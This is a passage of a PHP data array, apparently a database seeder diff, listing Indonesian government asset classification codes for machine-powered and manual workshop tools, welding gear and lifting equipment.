=> '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '039', + 'nama' => 'MESIN SERUT', + ], + [ + 'id_aset' => 952, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '040', + 'nama' => 'MESIN PROFILE KAYU', + ], + [ + 'id_aset' => 953, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS KONSTRUKSI LOGAM TERPASANG PADA PONDASI LAINNYA', + ], + [ + 'id_aset' => 954, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERKAKAS KONSTRUKSI LOGAM YANG TRANSPORTABLE (BERPINDAH)', + ], + [ + 'id_aset' => 955, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'MESIN GERINDA TANGAN', + ], + [ + 'id_aset' => 956, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'MESIN BOR TANGAN', + ], + [ + 'id_aset' => 957, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'MESIN CYLINDER', + ], + [ + 'id_aset' => 958, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'RIVETING MACHINE', + ], + [ + 'id_aset' => 959, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'MESIN GULUNG MANUAL', + ], + [ + 'id_aset' => 960, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'MESIN AMPELAS TANGAN', + ], + [ + 'id_aset' => 961, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'MESIN AMPELAS ROL KECIL', + ], + [ + 'id_aset' => 962, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '008', + 'nama' => 'MESIN GERGAJI BESI', + ], + [ + 'id_aset' => 963, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS KONSTRUKSI LOGAM YANG TRANSPORTABLE (BERPINDAH) LAINNYA', + ], + [ + 'id_aset' => 964, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERKAKAS BENGKEL LISTRIK', + ], + [ + 'id_aset' => 965, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'BATTERY CHARGE', + ], + [ + 'id_aset' => 966, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'WINDER', + ], + [ + 'id_aset' => 967, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'TRANSFORMATOR', + ], + [ + 'id_aset' => 968, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'SOLDER LISTRIK', + ], + [ + 'id_aset' => 969, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'SEDOTAN TIMAH LISTRIK', + ], + [ + 'id_aset' => 970, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'ELECTRICAL DISCHARGE', + ], + [ + 'id_aset' => 971, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '007', + 'nama' => 'VERTICAL MACHINING CENTRE', + ], + [ + 'id_aset' => 972, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '008', + 'nama' => 'COPY MILLING', + ], + [ + 'id_aset' => 973, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '009', + 'nama' => 'SURFACE GRINDING PROTH', + ], + [ + 'id_aset' => 974, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '010', + 'nama' => 'CYDRICAL GRINDER YAM', + ], + [ + 'id_aset' => 975, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '011', + 'nama' => 'CAPACITY DIE CASTING', + ], + [ + 'id_aset' => 976, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '012', + 'nama' => 'HMC CINTINATI MILACRON', + ], + [ + 'id_aset' => 977, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '013', + 'nama' => 'ENGINE CYLINDER RESEARCH ENGINE', + ], + [ + 'id_aset' => 978, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '014', + 'nama' => 'VALVE SENSOR', + ], + [ + 'id_aset' => 979, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '015', + 'nama' => 'COORDINATE MEASURING MACHINES', + ], + [ + 'id_aset' => 980, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '016', + 'nama' => 'ENGINE COOLING SYSTEM', + ], + [ + 'id_aset' => 981, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '017', + 'nama' => 'OUTLET MANIFODLD PRESSURE', + ], + [ + 'id_aset' => 982, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '018', + 'nama' => 'IMPULSE ORBITAL WELDER', + ], + [ + 'id_aset' => 983, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '019', + 'nama' => 'AVL DIGAS', + ], + [ + 'id_aset' => 984, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '020', + 'nama' => 'ELECTRIC WIRE ROPE', + ], + [ + 'id_aset' => 985, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '021', + 'nama' => 'STEAM PRESSURE GAUGE', + ], + [ + 'id_aset' => 986, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '022', + 'nama' => 'SAVETUY VALVE', + ], + [ + 'id_aset' => 987, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '023', + 'nama' => 'TRESHER STATIS', + ], + [ + 'id_aset' => 988, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '024', + 'nama' => 'VARIAC', + ], + [ + 'id_aset' => 989, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '025', + 'nama' => 'MIXER (PERKAKAS BENGKEL LISTRIK)', + ], + [ + 'id_aset' => 990, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '026', + 'nama' => 'STEPPING MOTOR', + ], + [ + 'id_aset' => 991, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '027', + 'nama' => 'CYLINDER PRESSURE TRANDUCER', + ], + [ + 'id_aset' => 992, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '028', + 'nama' => 'ENGINE SIMULATION SOFTWARE PACKAGE', + ], + [ + 'id_aset' => 993, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '029', + 'nama' => 'AXHAUST GAS ANALIZER', + ], + [ + 'id_aset' => 994, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '030', + 'nama' => 'CIRCULAR SAW', + ], + [ + 'id_aset' => 995, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '031', + 'nama' => 'TESTER LISTRIK/TELEPON/INTERNET', + ], + [ + 'id_aset' => 996, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS BENGKEL LISTRIK LAINNYA (ALAT BENGKEL BERMESIN)', + ], + [ + 'id_aset' => 997, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERKAKAS BENGKEL SERVICE', + ], + [ + 'id_aset' => 998, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'AUTO LIFT', + ], + [ + 'id_aset' => 999, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'CAR WASHER', + ], + [ + 'id_aset' => 1000, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'STEAM CLEANER', + ], + [ + 'id_aset' => 1001, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'LUBRIACATING EQUIPMENT', + ], + [ + 'id_aset' => 1002, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '005', + 'nama' => 'MESIN SPOORING', + ], + [ + 'id_aset' => 1003, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '006', + 'nama' => 'MESIN BALANCER', + ], + [ + 'id_aset' => 1004, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '007', + 'nama' => 'BRAKE DRUM LATHE/MESIN PERATA TROMOL', + ], + [ + 'id_aset' => 1005, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '008', + 'nama' => 'PENGASAH LUBANG STANG PISTON', + ], + [ + 'id_aset' => 1006, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '009', + 'nama' => 'LUBRICATING SET (PERKAKAS BENGKEL SERVICE)', + ], + [ + 'id_aset' => 1007, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '010', + 'nama' => 'AIR FILTER REGULATOR', + ], + [ + 'id_aset' => 1008, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '011', + 'nama' => 'DIAMOND CARE DRILL CARE', + ], + [ + 'id_aset' => 1009, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '012', + 'nama' => 'AC MOTOR CONTROL', + ], + [ + 'id_aset' => 1010, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS BENGKEL SERVICE LAINNYA (ALAT BENGKEL BERMESIN)', + ], + [ + 'id_aset' => 1011, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERKAKAS PENGANGKAT BERMESIN', + ], + [ + 'id_aset' => 1012, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'OVERHEAD CRANE', + ], + [ + 'id_aset' => 1013, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'HOIST', + ], + [ + 'id_aset' => 1014, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'WINCH/LIR', + ], + [ + 'id_aset' => 1015, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS PENGANGKAT BERMESIN LAINNYA', + ], + [ + 'id_aset' => 1016, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERKAKAS BENGKEL KAYU', + ], + [ + 'id_aset' => 1017, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'MESIN GERGAJI', + ], + [ + 'id_aset' => 1018, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'MESIN KETAM (PERKAKAS BENGKEL KAYU)', + ], + [ + 'id_aset' => 1019, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'MESIN BOR KAYU', + ], + [ + 'id_aset' => 1020, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'MESIN PENGHALUS', + ], + [ + 'id_aset' => 1021, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '005', + 'nama' => 'TATAH LISTRIK OSCAR MK 361', + ], + [ + 'id_aset' => 1022, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '006', + 'nama' => 'PASAH LISTRIK MKC', + ], + [ + 'id_aset' => 1023, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '007', + 'nama' => 'PROFILE LISTRIK MKC', + ], + [ + 'id_aset' => 1024, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '008', + 'nama' => 'GRENDO DUDUK', + ], + [ + 'id_aset' => 1025, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '009', + 'nama' => 'GERGAJI BENGKOK ATS', + ], + [ + 'id_aset' => 1026, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '010', + 'nama' => 'AMPLAS LISTRIK GMT', + ], + [ + 'id_aset' => 1027, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '011', + 'nama' => 'GERGAJI CHAIN SAW', + ], + [ + 'id_aset' => 1028, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '012', + 'nama' => 'TABLE SAW 10 EASTCO', + ], + [ + 'id_aset' => 1029, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS BENGKEL KAYU LAINNYA', + ], + [ + 'id_aset' => 1030, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERKAKAS BENGKEL KHUSUS', + ], + [ + 'id_aset' => 1031, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'MESIN JAHIT TERPAL', + ], + [ + 'id_aset' => 1032, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'PERKAKAS VULKANISIR BAN', + ], + [ + 'id_aset' => 1033, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'PERKAKAS BONGKAR/PASANG BAN', + ], + [ + 'id_aset' => 1034, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '004', + 'nama' => 'MESIN TENUN TEKSTIL', + ], + [ + 'id_aset' => 1035, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '005', + 'nama' => 'MESIN CELUP (PERKAKAS BENGKEL KHUSUS)', + ], + [ + 'id_aset' => 1036, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '006', + 'nama' => 'PEMASANG BARU', + ], + [ + 'id_aset' => 1037, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '007', + 'nama' => 'MESIN TENUN JAHIT', + ], + [ + 'id_aset' => 1038, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS BENGKEL KHUSUS LAINNYA', + ], + [ + 'id_aset' => 1039, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN LAS', + ], + [ + 'id_aset' => 1040, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '001', + 'nama' => 'PERALATAN LAS LISTRIK', + ], + [ + 'id_aset' => 1041, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '002', + 'nama' => 'PERALATAN LAS KARBIT', + ], + [ + 'id_aset' => 1042, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '003', + 'nama' => 'PERALATAN LAS GAS', + ], + [ + 'id_aset' => 1043, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN LAS LAINNYA', + ], + [ + 'id_aset' => 1044, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT BENGKEL BERMESIN LAINNYA', + ], + [ + 'id_aset' => 1045, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT BENGKEL BERMESIN LAINNYA', + ], + [ + 'id_aset' => 1046, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT BENGKEL TAK BERMESIN', + ], + [ + 'id_aset' => 1047, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERKAKAS BENGKEL KONSTRUKSI LOGAM', + ], + [ + 'id_aset' => 1048, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'PERKAKAS DAPUR TEMPA', + ], + [ + 'id_aset' => 1049, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'PERKAKAS BANGKU KERJA', + ], + [ + 'id_aset' => 1050, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'PERKAKAS PENGUKUR', + ], + [ + 'id_aset' => 1051, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'PERKAKAS PENGECORAN LOGAM', + ], + [ + 'id_aset' => 1052, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'R O L', + ], + [ + 'id_aset' => 1053, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'PERKAKAS PEMOTONG PLAT', + ], + [ + 'id_aset' => 1054, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'PERKAKAS PRESS HIDROLIK', + ], + [ + 'id_aset' => 1055, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'PERKAKAS PEMOTONG KABEL SLING', + ], + [ + 'id_aset' => 1056, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'PERKAKAS PENGECATAN KENDARAAN', + ], + [ + 'id_aset' => 1057, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS BENGKEL KONSTRUKSI LOGAM LAINNYA', + ], + [ + 'id_aset' => 1058, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERKAKAS BENGKEL LISTRIK', + ], + [ + 'id_aset' => 1059, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'ARMATURE DRYING OVEN', + ], + [ + 'id_aset' => 1060, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'MICA UNDERCUTTER', + ], + [ + 'id_aset' => 1061, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'COMMUTATOR TURNING TOOL', + ], + [ + 'id_aset' => 1062, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'ARMATURE CROWLER', + ], + [ + 'id_aset' => 1063, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'SOLID STATE SOLDERING GUN', + ], + [ + 'id_aset' => 1064, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS BENGKEL LISTRIK LAINNYA (ALAT BENGKEL TAK BERMESIN)', + ], + [ + 'id_aset' => 1065, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERKAKAS BENGKEL SERVICE', + ], + [ + 'id_aset' => 1066, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'PERKAKAS BENGKEL SERVICE', + ], + [ + 'id_aset' => 1067, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'LUBRICATING SET (PERKAKAS BENGKEL SERVICE)', + ], + [ + 'id_aset' => 1068, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'PERLENGKAPAN BENGKEL MEKANIK', + ], + [ + 'id_aset' => 1069, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'JEMBATAN SERVICE HIDROLIK', + ], + [ + 'id_aset' => 1070, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS BENGKEL SERVICE LAINNYA (ALAT BENGKEL TAK BERMESIN)', + ], + [ + 'id_aset' => 1071, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERKAKAS PENGANGKAT', + ], + [ + 'id_aset' => 1072, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'DONGKRAK MEKANIK', + ], + [ + 'id_aset' => 1073, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'DONGKRAK HIDROLIK', + ], + [ + 'id_aset' => 1074, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'T A K E L', + ], + [ + 'id_aset' => 1075, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'G A N T R Y', + ], + [ + 'id_aset' => 1076, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '005', + 'nama' => 'T R I P O D', + ], + [ + 'id_aset' => 1077, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '006', + 'nama' => 'FLOOR CRANE', + ], + [ + 'id_aset' => 1078, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS PENGANGKAT LAINNYA', + ], + [ + 'id_aset' => 1079, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERKAKAS STANDARD (STANDARD TOOLS)', + ], + [ + 'id_aset' => 1080, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'TOOL KIT SET', + ], + [ + 'id_aset' => 1081, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'TOOL KIT BOX', + ], + [ + 'id_aset' => 1082, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'TOOL CABINET SET', + ], + [ + 'id_aset' => 1083, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'KUNCI PIPA', + ], + [ + 'id_aset' => 1084, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '005', + 'nama' => 'PULLER 